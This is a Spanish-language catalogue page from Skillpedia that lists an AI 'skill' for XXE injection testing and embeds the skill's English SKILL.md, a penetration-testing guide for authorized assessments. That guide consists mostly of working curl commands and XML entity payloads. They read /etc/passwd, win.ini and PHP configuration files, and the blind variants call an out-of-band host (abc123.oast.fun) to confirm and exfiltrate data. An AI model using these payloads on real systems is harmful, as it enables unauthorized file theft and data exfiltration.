Saltar al contenido
Skillpedia
Seguridad35 mil · #8393

testing-for-xxe-injection-vulnerabilities

Qué hace

Esta herramienta ayuda a encontrar y explotar fallos de seguridad llamados 'XXE Injection' en sistemas que procesan archivos XML. Permite leer archivos del servidor, acceder a recursos internos y robar información.

Cuándo usarla

  • ✓Cuando pruebas la seguridad de un sitio web o aplicación que acepta archivos XML.
  • ✓Cuando sospechas que el sistema podría ser vulnerable a ataques que aprovechan la forma en que lee los datos XML.
  • ✓Durante pruebas de seguridad autorizadas para comprobar la protección contra la inyección de entidades externas.

Link de la skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xxe-injection-vulnerabilities/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“Comprueba si el sitio web `example.com` es vulnerable a XXE Injection e intenta leer el archivo `/etc/passwd`.”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

La herramienta envía datos XML especialmente diseñados al sistema. Si el sistema es vulnerable, podría responder con información de archivos internos o intentar conectarse a un servidor controlado por el atacante.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

Testing for XXE Injection Vulnerabilities

When to Use

  • During authorized penetration tests when the application processes XML input (SOAP APIs, file uploads, RSS feeds)
  • When testing APIs that accept Content-Type: application/xml or text/xml
  • For assessing XML parsers in file upload functionality (DOCX, XLSX, SVG, PDF)
  • When evaluating SOAP-based web services for entity injection
  • During security assessments of enterprise applications using XML configuration

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: For intercepting and modifying XML requests
  • XXEinjector: Automated XXE exploitation tool (git clone https://github.com/enjoiz/XXEinjector.git)
  • Out-of-band server: Burp Collaborator or interactsh for blind XXE detection
  • curl: For manual payload crafting and submission
  • Python: For building DTD hosting server

Workflow

Step 1: Identify XML Processing Points

Find all application endpoints that accept or process XML data.

# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml

# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"search":"test"}' \
  "https://target.example.com/api/search"

# Try converting to XML:
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><search>test</search></root>' \
  "https://target.example.com/api/search"

# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side

# Check for SOAP endpoints
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"\"" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
  "https://target.example.com/ws/service"

Step 2: Test for Basic XXE with File Retrieval

Inject XML entities to read local files from the server.

# Basic XXE payload to read /etc/passwd
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Windows file read
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Read application configuration files
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

Step 3: Test Blind XXE with Out-of-Band Detection

When the entity value is not reflected in the response, use out-of-band techniques.

# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun

curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Check interactsh/Collaborator for incoming DNS or HTTP requests

# Blind XXE with DNS exfiltration
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
  "https://target.example.com/api/search"

# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [

…
Preguntas frecuentes

¿Qué es XXE Injection?

Es un tipo de ataque en el que un atacante aprovecha la forma en que un programa procesa datos XML, haciendo que lea archivos sensibles o acceda a recursos no autorizados.

¿Necesito permiso para usar esta herramienta?

Sí, es fundamental contar con una autorización por escrito antes de realizar cualquier prueba de seguridad en un sistema.

¿Qué herramientas necesito?

Necesitarás herramientas como Burp Suite Professional, XXEinjector, un servidor para recibir datos externos (como Burp Collaborator) y herramientas de línea de comandos básicas como `curl` y `Python`.

Detalles

Descripción original del autor

Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidad

Estrellas en GitHub
35 mil
Posición en el ranking
#8393
Licencia
Apache-2.0
Actualizada
31/8/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas